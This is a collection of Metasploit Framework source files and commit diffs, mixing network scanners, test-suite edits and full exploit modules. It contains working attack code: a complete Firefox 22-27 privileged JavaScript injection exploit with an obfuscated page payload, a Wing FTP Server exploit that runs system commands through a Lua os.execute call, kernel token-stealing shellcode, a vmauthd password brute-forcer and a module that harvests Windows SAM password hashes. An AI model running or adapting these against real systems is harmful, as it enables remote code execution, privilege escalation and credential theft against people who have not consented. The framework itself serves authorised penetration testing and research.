# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Rsync Unauthenticated List Command',
'Description' => 'List all (listable) modules from a rsync daemon',
'Author' => 'ikkini',
'References' =>
[
['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html']
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(873)
], self.class)
end
def run_host(ip)
connect
version = sock.get_once
print_good("#{ip}:#{rport} - rsync #{version.strip} found")
report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync')
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => 'rsync_version',
:data => version.strip
)
# making sure we match the version of the server
sock.puts("#{version}")
# the listing command
sock.puts("\n")
listing = sock.get(20)
disconnect
return if listing.blank?
print_good("#{ip}:#{rport} - rsync listing found")
listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message
listing_sanitized = Rex::Text.to_hex_ascii(listing.strip)
vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}")
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => 'rsync_listing',
:data => listing_sanitized
)
end
end

View File

@ -3,14 +3,13 @@
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::UDPScanner
include Msf::Exploit::Remote::SIP
def initialize def initialize
super( super(
@ -22,139 +21,21 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']),
OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), Opt::RPORT(5060)
Opt::RPORT(5060),
Opt::CHOST,
Opt::CPORT(5060)
], self.class) ], self.class)
end end
def scanner_prescan(batch)
# Define our batch size print_status("Sending SIP UDP OPTIONS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
def run_batch_size @res = {}
datastore['BATCHSIZE'].to_i
end end
# Operate on an entire batch of hosts at once def scan_host(ip)
def run_batch(batch) scanner_send(create_probe(ip, 'udp'), ip, datastore['RPORT'])
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create(
{
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'].to_i,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
)
add_socket(udp_sock)
batch.each do |ip|
data = create_probe(ip)
begin
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end
if (idx % 10 == 0)
while (r = udp_sock.recvfrom(65535, 0.01) and r[1])
parse_reply(r)
end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
end
end end
# def scanner_process(data, shost, _)
# The response parsers report_response(data, shost, 'udp')
#
def parse_reply(pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
resp = pkt[0].split(/\s+/)[1]
agent = ''
verbs = ''
serv = ''
prox = ''
if(pkt[0] =~ /^User-Agent:\s*(.*)$/i)
agent = "agent='#{$1.strip}' "
end
if(pkt[0] =~ /^Allow:\s+(.*)$/i)
verbs = "verbs='#{$1.strip}' "
end
if(pkt[0] =~ /^Server:\s+(.*)$/)
serv = "server='#{$1.strip}' "
end
if(pkt[0] =~ /^Proxy-Require:\s+(.*)$/)
serv = "proxy-required='#{$1.strip}' "
end
print_status("#{pkt[1]} #{resp} #{agent}#{serv}#{prox}#{verbs}")
report_service(
:host => pkt[1],
:port => pkt[2],
:proto => 'udp',
:name => 'sip'
)
if(not agent.empty?)
report_note(
:host => pkt[1],
:type => 'sip_useragent',
:data => agent
)
end
end end
def create_probe(ip)
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
shost = Rex::Socket.source_address(ip)
src = "#{shost}:#{datastore['CPORT']}"
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 1 OPTIONS\r\n"
data << "Contact: sip:#{suser}@#{src}\r\n"
data << "Content-Length: 0\r\n"
data << "Max-Forwards: 20\r\n"
data << "User-Agent: #{suser}\r\n"
data << "Accept: text/plain\r\n"
end
end end

View File

@ -6,10 +6,10 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::SIP
def initialize def initialize
super( super(
@ -21,94 +21,22 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']),
OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]),
Opt::RPORT(5060) Opt::RPORT(5060)
], self.class) ], self.class)
end end
# Operate on a single system at a time # Operate on a single system at a time
def run_host(ip) def run_host(ip)
begin begin
idx = 0
connect connect
sock.put(create_probe(ip)) sock.put(create_probe(ip, 'tcp'))
res = sock.get_once(-1, 5) res = sock.get_once(-1, 5)
parse_reply(res) if res report_response(res, rhost, 'tcp') if res
rescue ::Interrupt rescue ::Interrupt
raise $! raise $ERROR_INFO
ensure ensure
disconnect disconnect
end end
end end
#
# The response parser
#
def parse_reply(resp)
rcode = resp.split(/\s+/)[0]
agent = ''
verbs = ''
serv = ''
prox = ''
if(resp =~ /^User-Agent:\s*(.*)$/i)
agent = "agent='#{$1.strip}' "
end
if(resp =~ /^Allow:\s+(.*)$/i)
verbs = "verbs='#{$1.strip}' "
end
if(resp =~ /^Server:\s+(.*)$/)
serv = "server='#{$1.strip}' "
end
if(resp =~ /^Proxy-Require:\s+(.*)$/)
serv = "proxy-required='#{$1.strip}' "
end
print_status("#{rhost} #{rcode} #{agent}#{serv}#{prox}#{verbs}")
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'sip'
)
if(not agent.empty?)
report_note(
:host => rhost,
:type => 'sip_useragent',
:data => agent
)
end
end
def create_probe(ip)
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
shost = Rex::Socket.source_address(ip)
src = "#{shost}:#{datastore['RPORT']}"
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/TCP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 1 OPTIONS\r\n"
data << "Contact: sip:#{suser}@#{src}\r\n"
data << "Max-Forwards: 20\r\n"
data << "User-Agent: #{suser}\r\n"
data << "Accept: text/plain\r\n"
data << "Content-Length: 0\r\n"
data << "\r\n"
data
end
end end

View File

@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary
super( super(
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner', 'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
'Description' => %q{ 'Description' => %q{
This module checks for the OpenSSL ChageCipherSpec (CCS) This module checks for the OpenSSL ChangeCipherSpec (CCS)
Injection vulnerability. The problem exists in the handling of early Injection vulnerability. The problem exists in the handling of early
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts CCS messages during session negotiation. Vulnerable installations of OpenSSL accepts
them, while later implementations do not. If successful, an attacker can leverage this them, while later implementations do not. If successful, an attacker can leverage this
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
between a client and server. This issue was first reported in early June, 2014. between a client and server. This issue was first reported in early June, 2014.
@ -131,7 +131,7 @@ class Metasploit3 < Msf::Auxiliary
sock.put(ccs) sock.put(ccs)
alert = sock.get_once(-1, response_timeout) alert = sock.get_once(-1, response_timeout)
if alert.blank? if alert.blank?
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable") print_good("#{peer} - No alert after invalid CCS message, probably vulnerable")
report report
elsif alert.unpack("C").first == ALERT_RECORD_TYPE elsif alert.unpack("C").first == ALERT_RECORD_TYPE
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable") vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")

View File

@ -0,0 +1,88 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::DRDoS
def initialize
super(
'Name' => 'SSDP ssdp:all M-SEARCH Amplification Scanner',
'Description' => 'Discover SSDP amplification possibilities',
'Author' => ['xistence <xistence[at]0x90.nl>'], # Original scanner module
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A']
],
)
register_options([
Opt::RPORT(1900),
OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false])
], self.class)
end
def setup
super
# SSDP packet containing the "ST:ssdp:all" search query
if datastore['short']
# Short packet doesn't contain Host, MX and last \r\n
@msearch_probe = "M-SEARCH * HTTP/1.1\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\n"
else
@msearch_probe = "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\nMX: 1\r\n\r\n"
end
end
def scanner_prescan(batch)
print_status("Sending SSDP ssdp:all M-SEARCH probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
end
def scan_host(ip)
scanner_send(@msearch_probe, ip, datastore['RPORT'])
end
def scanner_process(data, shost, sport)
if data =~ /HTTP\/\d\.\d 200/
@results[shost] ||= []
@results[shost] << data
else
vprint_error("Skipping #{data.size}-byte non-SSDP response from #{shost}:#{sport}")
end
end
# Called after the scan block
def scanner_postscan(batch)
@results.keys.each do |k|
response_map = { @msearch_probe => @results[k] }
report_service(
host: k,
proto: 'udp',
port: datastore['RPORT'],
name: 'ssdp'
)
peer = "#{k}:#{datastore['RPORT']}"
vulnerable, proof = prove_amplification(response_map)
what = 'SSDP ssdp:all M-SEARCH amplification'
if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
report_vuln(
host: k,
port: datastore['RPORT'],
proto: 'udp',
name: what,
refs: self.references
)
else
vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}")
end
end
end
end

View File

@ -4,6 +4,8 @@
## ##
require 'msf/core/exploit/tcp' require 'msf/core/exploit/tcp'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/vmauthd'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
@ -33,103 +35,67 @@ class Metasploit3 < Msf::Auxiliary
end end
def run_host(ip) def run_host(ip)
print_brute :ip => ip, :msg => 'Starting bruteforce'
# Peform a sanity check to ensure that our target is vmauthd before
# attempting to brute force it.
begin begin
connect rescue nil
connect rescue nil if !self.sock
if not self.sock print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
print_error "#{rhost}:#{rport} Could not connect to vmauthd" return
return end
end banner = sock.get_once(-1, 10)
if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/
banner = sock.get_once(-1, 10) print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service'
if not banner return
print_error "#{rhost}:#{rport} No banner received from vmauthd"
return
end
banner = banner.strip
print_status "#{rhost}:#{rport} Banner: #{banner}"
unless banner =~ /VMware Authentication Daemon/
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
return
end
if banner =~ /SSL/
print_status("#{rhost}:#{rport} Switching to SSL connection...")
swap_sock_plain_to_ssl
end
each_user_pass do |user, pass|
result = do_login(user, pass)
case result
when :failed
print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}")
when :success
print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'vmauthd',
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
)
return if datastore['STOP_ON_SUCCESS']
else
print_error("#{rhost}:#{rport} Error: #{result}")
end end
end
rescue ::Interrupt rescue ::Interrupt
raise $! raise $ERROR_INFO
ensure ensure
disconnect disconnect
end end
end cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 30
)
def do_login(user, pass, nsock=self.sock) scanner.scan! do |result|
nsock.put("USER #{user}\r\n") credential_data = result.to_h
res = nsock.get_once credential_data.merge!(
unless res.start_with? "331" module_fullname: self.fullname,
ret_msg = "Unexpected reply to the USER command: #{res}" workspace_id: myworkspace_id
return ret_msg )
end case result.status
nsock.put("PASS #{pass}\r\n") when Metasploit::Model::Login::Status::SUCCESSFUL
res = nsock.get_once || '' print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
if res.start_with? "530" credential_core = create_credential(credential_data)
return :failed credential_data[:core] = credential_core
elsif res.start_with? "230" create_credential_login(credential_data)
return :success :next_user
else when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
ret_msg = "Unexpected reply to the PASS command: #{res}" print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
return ret_msg invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
invalidate_login(credential_data)
end
end end
end end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end
end end

View File

@ -37,8 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'DisclosureDate' => "May 14 2013", 'DisclosureDate' => "May 14 2013",
'References' => [ 'References' => [
['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # chrome injection
['CVE', '2013-1710'] # further chrome injection
], ],
'Targets' => [ 'Targets' => [
[ [

View File

@ -0,0 +1,151 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
autopwn_info({
:ua_name => HttpClients::FF,
:ua_maxver => "22.0",
:ua_maxver => "27.0",
:javascript => true,
:rank => ExcellentRanking
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 22-27 by abusing two
separate privilege escalation vulnerabilities in Firefox's Javascript
APIs.
},
'License' => MSF_LICENSE,
'Author' => [
'Marius Mlynski', # discovery and pwn2own exploit
'joev' # metasploit module
],
'DisclosureDate' => "Mar 17 2014",
'References' => [
['CVE', '2014-1510'], # open chrome:// url in iframe
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
js = Rex::Exploitation::JSObfu.new(%Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
// Load the chrome-privileged browser XUL script into an iframe
var c = new mozRTCPeerConnection;
c.createOffer(function(){},function(){
window.open('chrome://browser/content/browser.xul', '#{frame}');
step1();
});
// Inject a data: URI into an internal frame inside of the browser
// XUL script to pop open a new window with the chrome flag to prevent
// the new window from being wrapped with browser XUL;
function step1() {
var clear = setInterval(function(){
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
frames[0].frames[2].location;
// we base64 this to avoid the script tag screwing up things when obfuscated
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
clearInterval(clear);
setTimeout(step2, 100);
},10);
}
// Step 2: load the chrome-level window up with a data URI, which
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
// into the frame, since that will respond to our messageManager
// (this is important later)
function step2() {
var clear = setInterval(function(){
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
'src="about:blank"></iframe></body></html>';
clearInterval(clear);
setTimeout(step3, 100);
}, 10);
}
function step3() {
var clear = setInterval(function(){
if (!frames[0]) return; // will throw until the frame is accessible
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
clearInterval(clear);
setTimeout(function(){top.vvv.close();}, 100);
}, 10);
}
|)
js.obfuscate
%Q|
<!doctype html>
<html>
<body>
<iframe id='#{frame}' name='#{frame}'
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
</iframe>
<script>
#{js}
</script>
#{datastore['CONTENT']}
</body>
</html>
|
end
end

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection", 'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection",
'Description' => %q{ 'Description' => %q{
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
@ -216,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
paths = desktop_central_db_paths paths = desktop_central_db_paths
if paths.empty? if paths.empty?
paths = check_password_manager_pro paths = password_manager_paths
end end
paths paths

View File

@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
p << payload.encoded p << payload.encoded
block = p block = p
block << rand_text_alpha(1024 - 80 - p.length) block << rand_text_alpha(1024 - 80 - p.length)
block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt
block << rand_text_alpha(1024 - block.length) block << rand_text_alpha(1024 - block.length)
buf = '' buf = ''

View File

@ -0,0 +1,123 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server Authenticated Command Execution',
'Description' => %q{
This module exploits the embedded Lua interpreter in the admin web interface for
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
an attacker can use os.execute() to execute arbitrary system commands on
the target with SYSTEM privileges.
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.wftpserver.com' ]
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows VBS Stager', {} ]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 19 2014',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(5466),
OptString.new('USERNAME', [true, 'Admin username', '']),
OptString.new('PASSWORD', [true, 'Admin password', ''])
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
end
def check
res = send_request_cgi(
{
'uri' => '/admin_login.html',
'method' => 'GET'
})
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code != 200
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
@session_cookie = authenticate(username, password)
print_status("#{peer} - Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
def execute_command(cmd, _opts = {})
command = "os.execute('cmd /c #{cmd}')"
res = send_request_cgi(
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'cookie' => @session_cookie,
'vars_post' => { 'command' => command }
)
if res && res.code != 200
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
end
end
def authenticate(username, password)
print_status("#{peer} - Authenticating")
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
'vars_post' => {
'username' => username,
'password' => password,
'username_val' => username,
'password_val' => password,
'submit_btn' => '+Login+'
}
)
uidadmin = ''
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
"UIDADMIN=#{uidadmin}"
end
end

View File

@ -51,9 +51,9 @@ class Metasploit3 < Msf::Exploit::Local
], ],
'References' => 'References' =>
[ [
%w(CVE 2014-4971), ['CVE', '2014-4971'],
%w(EDB 34112), ['EDB', '34112'],
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt) ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
], ],
'DisclosureDate' => 'Jul 22 2014', 'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0 'DefaultTarget' => 0
@ -150,6 +150,7 @@ class Metasploit3 < Msf::Exploit::Local
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target) shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
this_proc.memory.write(0x1, shellcode) this_proc.memory.write(0x1, shellcode)
this_proc.close this_proc.close

View File

@ -38,31 +38,54 @@ class Metasploit3 < Msf::Post
session.core.use("incognito") if not session.incognito session.core.use("incognito") if not session.incognito
# It wasn't me mom! Stinko did it! # It wasn't me mom! Stinko did it!
hashes = client.priv.sam_hashes begin
hashes = client.priv.sam_hashes
rescue
print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?')
return
end
# Target infos for the db record # Target infos for the db record
addr = client.sock.peerhost addr = session.session_host
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
# Record hashes to the running db instance # Record hashes to the running db instance
print_good "Collecting hashes..." print_good "Collecting hashes..."
hashes.each do |hash| hashes.each do |hash|
data = {} # Build service information
data[:host] = addr service_data = {
data[:port] = 445 address: addr,
data[:sname] = 'smb' port: 445,
data[:user] = hash.user_name service_name: 'smb',
data[:pass] = hash.lanman + ":" + hash.ntlm protocol: 'tcp',
data[:type] = "smb_hash" }
if not session.db_record.nil?
data[:source_id] = session.db_record.id
end
data[:source_type] = "exploit",
data[:active] = true
print_line " Extracted: #{data[:user]}:#{data[:pass]}" # Build credential information
report_auth_info(data) if db_ok credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :ntlm_hash,
private_data: hash.lanman + ":" + hash.ntlm,
username: hash.user_name,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"
end end
# Record user tokens # Record user tokens

10
script/cucumber Executable file
View File

@ -0,0 +1,10 @@
#!/usr/bin/env ruby
vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
if vendored_cucumber_bin
load File.expand_path(vendored_cucumber_bin)
else
require 'rubygems' unless ENV['NO_RUBYGEMS']
require 'cucumber'
load Cucumber::BINARY
end

View File

@ -11,4 +11,4 @@ FactoryGirl.define do
sequence :mdm_web_vuln_description do |n| sequence :mdm_web_vuln_description do |n|
"Mdm::WebVuln#description #{n}" "Mdm::WebVuln#description #{n}"
end end
end end

View File

@ -6,4 +6,4 @@ FactoryGirl.modify do
} }
end end
end end
end end

View File

@ -44,14 +44,14 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
end end
context 'in thread with connection' do context 'in thread with connection' do
it { should be_true } it { should be_truthy }
end end
context 'in thread without connection' do context 'in thread without connection' do
it 'should be false' do it 'should be false' do
thread = Thread.new do thread = Thread.new do
Thread.current.should_not == main_thread Thread.current.should_not == main_thread
expect(active_connection?).to be_false expect(active_connection?).to be_falsey
end end
thread.join thread.join
@ -97,7 +97,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
end end
it 'should return true from #active_connection?' do it 'should return true from #active_connection?' do
expect(connection_pool.active_connection?).to be_true expect(connection_pool.active_connection?).to be_truthy
end end
context 'with error' do context 'with error' do
@ -129,7 +129,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
context 'without active thread connection' do context 'without active thread connection' do
it 'should return false from #active_connection?' do it 'should return false from #active_connection?' do
expect(connection_pool.active_connection?).to be_false expect(connection_pool.active_connection?).to be_falsey
end end
context 'with error' do context 'with error' do

View File

@ -69,11 +69,11 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
context 'cache' do context 'cache' do
@ -114,7 +114,7 @@ describe FastLib do
# make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be
# in the archive. # in the archive.
File.exist?(unarchived_path).should be_true File.exist?(unarchived_path).should be_truthy
cache[archived_path].should_not be_nil cache[archived_path].should_not be_nil
end end
end end
@ -127,25 +127,25 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
